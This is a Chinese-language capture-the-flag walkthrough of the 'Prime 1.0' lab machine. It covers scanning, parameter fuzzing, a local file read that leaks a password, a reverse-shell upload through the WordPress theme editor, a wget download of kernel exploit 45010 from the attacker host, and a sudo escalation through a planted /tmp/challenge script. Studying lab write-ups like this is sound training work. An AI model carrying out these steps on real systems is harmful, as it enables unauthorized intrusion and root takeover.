Prime 1.0

news2025/1/17 5:51:29

信息收集

存活主机探测

arp-scan -l

或者利用nmap

nmap -sT --min-rate 10000 192.168.217.133 -oA ./hosts

可以看到存活主机IP地址为:192.168.217.134

端口探测

nmap -sT -p- 192.168.217.134 -oA ./ports

UDP端口探测

详细服务等信息探测

开放端口22,ssh,版本为openssh 7.2p2

80端口,开放了http服务。

漏洞脚本探测

nmap -sT --script=vuln -p22,80 192.168.217.134 -oA ./vuln

这里在进行漏洞脚本探测的时候发现了相关信息!

存在wordpress!好像是还存在一个低速的DDOS攻击(这个就没什么用了)。

WEB渗透测试

经过上面的信息收集,我们收集到了靶机开放的端口存在两个 ,分别是22和80端口,所以我们的突破口应该就是在80上了,尝试访问服务:

只有一张图片,查看了源码,什么都没有的!

上面经过信息收集得到了该靶机上存在着wordpress!所以我们尝试访问一下(同时进行一下目录扫描吧):

尝试了最经常的弱口令,但是并没有登陆成功!

目录爆破

目录扫描结果如下:

尝试访问一下这几个目录吧先,不知道扫描的结果全不全,还是再利用其他的目录扫描工具,扫一遍:

扫描结果差不多。

访问一下上面扫描得到的路径吧:

/dev

大概的意思就是我们现在刚开始,我们应该利用我们的工具深入的进行渗透测试(红色代表:做过一遍之后,看大佬的讲解,重新编写,补充内容)

这里没看到very hard的含义,有忽略;所以导致了没有了攻击面;(这里使用dirb等工具进行目录扫描的时候,其实默认是不会扫描txt zip等后缀的!)

这里可以使用自己的字典去尝试,或者使用dirb -X 参数扫描指定后缀的敏感文件。

补充:

dirb扫描结果:

出现一个secret.txt文件!

(看起来你已经得到了一些秘密,ok 我仅仅是想帮助你下,在你找到的每一个php页面进行模糊测试,如果你得到了正确的参数的话,就看下一步,如果你遇到了阻碍的话,就看看下面的这个工具)

模糊测试

javascript目录是禁止访问的!

这里之前做过DC-2,当时web服务器上运行的服务同样是wordpress,当时利用了一个wordpress的工具,wpscan。这里同样进行一下测试:

wpscan --url http://192.168.217.134/wordpress/

出来了很多的信息!

wp-cron.php

源码里面是空的,啥也没有

upload目录下:

xmlrpc.php

wordpress的版本是5.2.2版本,网上找一下公开的漏洞:

利用-e参数来枚举wordpress中存在的用户:

得到了一个用户victor;利用crew爬取网站上的密码!

到这里没思路了,上面提到了爆破,感觉还是漏了什么东西,拿着自己的字典重新进行了目录扫描:

果然出现了新的信息(secret.txt):

访问下看看把:

果然还是又提示的!提示:“尝试在你得到的每一个php路径上fuzz参数”然后提供了一个工具!

使用这个工具进行参数的fuzz:

我们得到的php文件分别有:

image.php
index.php
/wordpress/wp-login.php

分别对这三个php进行参数的爆破!

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ 

-c:高亮显示

得到了很多的payload,我们利用回显的word长度的不同进行过滤:

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ --hw 12

发现了参数file!上面的提示还说了我们可以尝试看一下location.txt文件,看到出来的file参数,大概就是个任意文件读取了!

发现确实存在回显!任意文件读取,尝试读取敏感文件/etc/passwd等,读之前我还是看了一眼源码,发现了更神奇的事情!

又提供给我们一个重要的参数!secrettier360!(在其他的php页面上使用secrettier360这个参数或许更有趣!)

还剩下两个php页面(image.php wordpress/wp-login.php)。

先试试image把:

如果是image页面,这个页面存在什么漏洞呢?(sql注入、任意文件读取、命令执行?)

传入index.php,发现页面回显index.php的源码!还是任意文件读取!

文件包含利用

发现了两个用户,其中一个用户,在上面的wpscan的时候就发现了(victor)还有一个saket用户(find password.txt file in my directory:/home/saket)

读一下/etc/shadow吧:(读不出东西来,估计是没权限了)

那就读一下/home/saket/password.txt吧:

获得了一个密码:follow_the_ippsec

试试ssh!

登陆不上,还是去web界面看下能不能登陆吧!

最终发现使用用户名victor!密码follow_the_ippsec能登陆!

(关于wordpress漏洞成功登陆后台之后,需要先尝试如下的这两个漏洞-经验)

  1. 插件上的文件上传漏洞,可以上传zip压缩包
  2. 主题编辑器上传漏洞

先尝试下插件上的文件上传漏洞,随便上传一个zip的文件即可(先判断是否可以上传)

不能上传插件,此漏洞走不通!

之后就是招主题编辑器上的漏洞,寻找是否存在可上传的文件;在Appearance中Theme Editor中找到了一个奇怪的文件:(secret.php)

获取后台权限

能上传文件!利用MSF上传一个反弹shell木马!

查看文件的内容:(并将其通过secret.php文件进行上传!)

上传:

上传成功之后我们利用MSF起一个监听器:

访问:http://192.168.217.134/wordpress/wp-content/themes/twentynineteen/secret.php

便会收到会话!

提权

拿到shell之后,进行相关的信息收集:

查看是否安装了python,整一个交互性bash:

dpkg -l | grep 'python'

有python的环境,利用python起一个有交互的bash:

python -c "import pty;pty.spawn('/bin/bash')"

查看相应的权限:

看到这个信息,要知道的是:存在用户saket,不需要密码,以root身份执行enc!

看一下/home目录下存在哪些用户,发现确实存在两个;一个是victor,另一个是saket

尝试切换到这两个用户的家目录下,看啊可能都存在什么东西,发现victor用户下无法执行!

成功拿到了第一个flag

之后尝试提权,利用内核版本漏洞进行提权:

uname -a

版本是4.10.0-28-generic 内核是16.04

将这个文件上传到靶机上!

本地起一个php服务器:

php -S 0:80

然后我们在靶机上切换到网站的根目录下 或者是 临时目录下(/tmp),利用wget下载我们攻击机上的45010(编译后的文件)

wget http://192.168.217.128/45010

同时我们下载一下未编译的源文件,避免我们在攻击机上编译的文件和靶机版本不同,导致无法执行!(确实是没有办法执行的,试过后写的),然后我查看了靶机上是否存在gcc,发现是存在的,所以我们直接在靶机上编译执行即可!

上面的这个问题就是说明我们的攻击机编译之后的文件,没法在靶机上执行,原因就是版本不一样,我们需要模拟和靶机同版本的环境下,编译源文件,然后传到靶机上执行!

需要给执行的权限!

chmod +x 45010.c
gcc 45010.c -o 45010-2
./45010-2

查看是否提成功:

python起交互shell:

root.txt中存在着最终的flag

同时发现了存在sql.py文件,里面存在着数据库的账号和密码:

wordpress.sql文件:

另一种提权的方法

MSF上线之后,通过sudo -l发现一条奇怪的权限:

可以以root的身份,执行/home/saket/enc,并且还不需要密码。

此时我们可以去看看这个enc是个文件夹还是可执行的文件:

发现这是一个可执行的文件!那么接下来我们可以尝试执行一下看看会发生什么!

尝试执行却需要输入密码,但是我们并不知道什么密码!那怎么办?(那就找找主机上的pass文件)

find / -name "*pass*" 2>/dev/null
//寻找带有pass的文件   并且如果有报错的话 就丢弃
//为什么要有这个2>/dev/null   是因为我们的权限并不是最高的 所以很多的目录 可能是拒绝访问的!

于是便找到了如下,自己觉得可能是敏感的pass文件:

找了一圈没找到,换个单词进行匹配:backup:

看起来这个好像是:

拿着这个密码回去执行文件看看行不行,应该是没问题的!(利用root权限执行enc文件)

输出了一个good之后没了???看看当前目录下是不是也会产生什么东西?

产生两个文件,其实大佬说上面看到这个enc文件就已经联想到了openssl加密,当看到enc.txt key.txt的时候就确定了这就和openssl联系起来了!

看了看这两个文件分别内容是什么。上面的enc好像是base64编码过的东西。下面的key是提示,让我们将“ippsec”转换为md5哈希值,然后获得我们想要的东西。

先听话转个MD5吧

echo -n 'ippsec' | md5sum			#-n代表 在计算md5哈希值的时候,不要计算结尾的换行符 就是纯ippsec

这里还去掉了-n参数,显然和上面的加上-n之后 md5的哈希值完全不同!!!

显然后面还有两个空格和- ,我们优雅一点给他去掉!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}'

之后干什么?就是拿着这个哈希值作为key,利用openssl解密enc.txt看看他到底说了什么!

如何解密enc

echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -CypherType -k

解释一下各个参数:

首先就是 echo -n 代表输出原始字符串 通过管道符 给到openssl
然后就是 enc 代表使用enc命令
-d 解密
-a base64解密
-CypherType 就是openssl中的命令中的一个 一共98种 你需要判断上面的加密enc字符串是什么类型
-k 指定key

由于我们不知道加密enc字符串的类型是什么,所以利用最笨的方法就是遍历!我们将下面的消息摘要复制出来:

然后将没用的行、空格删除,在vim种利用dd直接删除一行,然后我们对整个的内容进行一个整理:

awk '{gsub(/ /,"\n");print}' xxx		#其中的xxx是文件名 
    	#利用awk 使用了gsub 全局替换!空格为换行

由于存在大量的空格,那么被替换之后,也就存在了大量的换行,针对这个我们可以进行排序,并且取唯一:

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq | wc -l	#排序 取唯一之后,利用wc -l统计行数

之后我们可以将我们处理好的数据,写入到一个文件中:

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq > CipherType

之后我们仔细看一下openssl enc 的帮助:

openssl enc --help

-a 和 -base64的功能是一样的 ,就是base64的编码和解码

-K 代表着原始的key 还要使用使用十六进制编码!

关于如何转换为十六进制,我们可以利用od命令来转换!od(octal dump)主要用来转化八进制的,但是他也是可以转化其他的进制!

man od #查看od命令的帮助,需要制定参数-A 指定一个根 这里我们的原始的数据是md5的哈希值
	因此我们可以-A n 其实就是None

此外需要指定一个参数-t 输出的格式 可以看到下面有x2 或者是-x 但是这是两个字节的,我们需要是一个字节,也就是说我们指定 -t x1即可!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | od -A n -t x1

最下面存在一个0a,这其实就是一个换行符,所以我们将换行符都去掉!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1

tr命令是 trip的意思,代表着修剪 -d参数代表着删除

之后我们再利用tr命令将换行和空格删除掉:

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1 | tr -d "\n"

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1 | tr -d "\n" | tr -d " "

此时我们已经得到了原始的key!

3336366137346362336339353964653137643631646233303539316333396431

现在我们的命令差不多就写完了:

echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 

接下来就需要通过编写一个脚本来完成解密的任务:

for Cipher in $(cat CipherType);do xxxxxx;done 
#其中通过for循环来遍历cat CipherType的结果 
然后就是利用do 做某一件事,做的事情就是 openssl enc -d ....
done 就是做完了

但是我们发现爆出了很多的错误!看起来好像没有能成功解开的!这其实是openssl的一个bug,就是-n 到底什么时候指定的问题,这个没办法确定,只能通过试试才能确定!

现在将-n参数去掉再试试:

最终我们还需要改进一下我们的脚本,因为在运行的过程中爆出了很多的错误,同时我们还想知道他解密的时候到底用的是哪一个Cipher!

for Cipher in $(cat new_xx); do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $Cipher; done

可以看到他解密的时候用到的CipherType是aes-256-ecb

验证一下:

没什么问题哈!

之后利用这个密码,尝试ssh登录saket!

查看当前用户的权限:

同理我们还是尝试执行以下这个文件吧,还是和enc一样的,利用sudo权限直接执行吧:

如果你可以打败我,然后在你面前挑战我? 什么鬼? 下面出现了一个报错 说是/tmp/challenge没找到这个文件!

那我们自己给他新建一个,然后里面写入代码不就好了!

echo '#!/bin/bash' > challenge
echo '/bin/bash' >>challenge
chmod +x challenge
sudo /home/victor/undefeated_victor

最终提权成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1280865.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

轻盈悦耳的运动型气传导耳机,还有条夜跑灯,哈氪聆光体验

我平时出门不管是散步、骑行,还是坐公交的时候,都喜欢戴上耳机听音乐,这可以让我放松心情。现在市面上的耳机还是以真无线为主,选择虽多,但不适合户外使用,听不见外界的声音,运动时还容易脱落&a…

软件工程单选多选补充

2. 4. 5. 6. 7. 8. 9. 10. 12。 13.

软件设计模式原则(三)单一职责原则

单一职责原则(SRP)又称单一功能原则。它规定一个类应该只有一个发生变化的原因。所谓职责是指类变化的原因。如果一个类有多于一个的动机被改变,那么这个类就具有多于一个的职责。而单一职责原则就是指一个类或者模块应该有且只有一个改变的原…

锁表的原因及解决办法

引言 作为开发人员,我们经常会和数据库打交道。 当我们对数据库进行修改操作的时候,例如添加字段,更新记录等,没有正确评估该表在这一时刻的使用频率,直接进行修改,致使修改操作长时间无法响应&#xff0…

【【Micro Blaze 的 最后补充 与 回顾 】】

Micro Blaze 的 最后补充 与 回顾 Micro Blaze 最小系统 以 MicroBlaze 为核心、LocalMemory(片上存储)为内存,加上传输信息使用的 UART串口就构成了嵌入式最小系统。当程序比较简单时,Local Memory 可以作为程序的运行空间以及…

OCR原理解析

目录 1.概述 2.应用场景 3.发展历史 4.基于传统算法的OCR技术原理 4.1 图像预处理 4.1.1 灰度化 4.1.2 二值化 4.1.3 去噪 4.1.4 倾斜检测与校正 4.1.4.2 轮廓矫正 4.1.5 透视矫正 4.2 版面分析 4.2.1 连通域检测文本 4.2.2 MSER检测文本 4.3 字符切割 4.3.1 连…

Excel 分列功能

一. 需求 ⏹有一段文本,文本一共有7列。这7列文本之间的分隔符不相同 有一个空格的有多个空格的有Tab的jmw_state 和 method 之间用 & 连接 现在要求,将这段文本粘贴到Excel中,进行分列。并且需要将 jmw_state 和 method 也进行分列 也…

LASSO vs GridSearchCV

LASSO VS GridSearchCV LASSO定义目的使用方法原理示例总结 GridSearchCV定义目的使用方法原理网格搜索(Grid Search)交叉验证(Cross-Validation)总结 示例总结 总结 LASSO 定义 LASSO(Least Absolute Shrinkage and…

机器人阻抗控制性能及其实验验证

Impedance Control 机器人阻抗控制是一种控制方法,其目的是构建一个系统使得执行器(如机械臂)能同时控制力和位置。它基于阻抗模型,通过调节机器人的行为,以维持理想的动态关系。这种动态关系可以理解为机器人末端位置…

【微信小程序】上传头像 微信小程序内接小程序客服

这里写目录标题 微信小程序上传头像使用button按钮包裹img 微信小程序内接小程序客服使用button按钮跳转客服 微信小程序上传头像 使用button按钮包裹img 原本思路是只使用image标签再加上chooseImg,但发现使用button标签上传头像这种方法更实用。微信小程序文档上…

钉钉聊天审计软件有哪些

钉钉在企业中的广泛应用,聊天审计软件也日益受到关注。这类软件主要针对企业微信、钉钉等即时通讯工具,对其中的聊天记录进行审计,以便企业能够更好地管理员工的在线行为,并保障信息安全。 一、聊天审计软件的作用 1、监管员工行…

Python编程技巧 – 迭代器(Iterator)

Python编程技巧 – 迭代器(Iterator) By JacksonML Iterator(迭代器)是Python语言的核心概念之一。它常常与装饰器和生成器一道被人们提及,也是所有Python书籍需要涉及的部分。 本文简要介绍迭代器的功能以及实际的案例,希望对广大读者和学生有所帮助。…

判断二叉树是否为完全二叉树

具体思路: 将二叉树层序遍历(节点)插进队列中,遇到空时就break(退出循环),再重新遍历一遍,若空的后面又再次出现数据,则返回false(不是完全二叉树&#xff0…

MySQL 8创建数据库、数据表、插入数据并且查询数据

我使用的数据库是MySQL 8。 创建数据库 create database Bookbought; -- 创建数据库Bookbought use Bookbought; -- 使用数据库Bookbought创建数据表 创建用户表bookuser。 create table ## 往allbook里边插入数据(id INT PRIMARY KEY AUTO_INCREMENT, -- id 为 主键userna…

KubeShark: Kubernetes的Wireshark

Wireshark可以帮助我们抓取并分析网络数据包,理解网络中发生的事情,那是否有工具可以帮助我们理解在K8S集群中发生的事情,帮助排查集群故障,Kubeshark就是这样的工具。原文: KubeShark: Wireshark for Kubernetes[1] 简介 Wiresha…

LLM大语言模型(一):ChatGLM3-6B试用

前言 LLM大语言模型工程化,在本地搭建一套开源的LLM,方便后续的Agent等特性的研究。 本机环境 CPU:AMD Ryzen 5 3600X 6-Core Processor Mem:32GB GPU:RTX 4060Ti 16G ChatGLM3代码库下载 # 下载代码库 ​git c…

使用求2个字符串最短编辑距离动态规划算法实现 git diff 算法 java 实现

测试类 MyDiffTest.java&#xff1a; import java.io.BufferedReader; import java.io.FileReader; import java.util.ArrayList; import java.util.List;public class MyDiffTest {private static String path "\\xxx\\";private static List<String> lines…

java操作windows系统功能案例(三)

以下是一些 Java 操作 Windows 系统功能的案例&#xff1a; 打开 Windows 计算器 public class Calculator {public static void main(String[] args) throws Exception {Runtime.getRuntime().exec("calc.exe");} }打开 Windows 默认浏览器 public class Browser…

数学字体 Mathematical fonts

Mathematical fonts 数学字体&#xff1a; ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzRQSZ \\ \mathcal{ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzRQSZ} \\ \mathfrak{ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzRQSZ} \\ \mathbb{ABC…

332. 重新安排行程

题目描述 给你一份航线列表 tickets &#xff0c;其中 tickets[i] [fromi, toi] 表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。 所有这些机票都属于一个从 JFK&#xff08;肯尼迪国际机场&#xff09;出发的先生&#xff0c;所以该行程必须从 JFK 开始。如…